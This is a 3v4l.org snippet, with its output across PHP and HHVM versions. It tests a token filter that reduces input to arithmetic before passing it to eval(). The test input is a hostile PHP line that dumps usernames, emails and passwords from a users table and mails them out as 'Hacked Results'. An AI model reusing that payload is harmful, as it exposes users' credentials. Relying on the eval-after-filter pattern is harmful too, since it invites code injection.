3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $input = '$result = $db->fetch_row($db->query(‘select id, username, email, password from users’)); $body = ‘’; foreach($result as $k => $v) { $body .= $v. “ =\t”. $k[$v].”\t”; } mail(‘myemail@gmail.com’, ‘Hacked Results’,$body);'; $tokens = token_get_all("<?php {$input}"); $expr = ''; foreach($tokens as $token){ if(is_string($token)){ if(in_array($token, array('(', ')', '+', '-', '/', '*'), true)) $expr .= $token; continue; } list($id, $text) = $token; if(in_array($id, array(T_DNUMBER, T_LNUMBER))) $expr .= $text; } eval("\$result = {$expr};"); print "\nexpr = " . $expr; print "\nres = " . $result;
based on jnCND
Output for 7.0.0 - 7.3.0rc3
Parse error: syntax error, unexpected ')' in /in/JXofT(29) : eval()'d code on line 1
Process exited with code 255.
Output for hhvm-3.22.0
Fatal error: syntax error, unexpected ')' in /in/JXofT(-1)(69874787badde856c4c5064499e5d75c) : eval()'d code on line -1 expr = (())()() Notice: Undefined variable: result in /in/JXofT on line -1 res =
Output for hhvm-3.18.5 - 3.21.3
Fatal error: syntax error, unexpected ')' in /in/JXofT(29)(69874787badde856c4c5064499e5d75c) : eval()'d code on line 1 expr = (())()() Notice: Undefined variable: result in /in/JXofT on line 32 res =
Output for 5.6.0 - 5.6.30
Parse error: syntax error, unexpected ')' in /in/JXofT(29) : eval()'d code on line 1 expr = (())()() Notice: Undefined variable: result in /in/JXofT on line 32 res =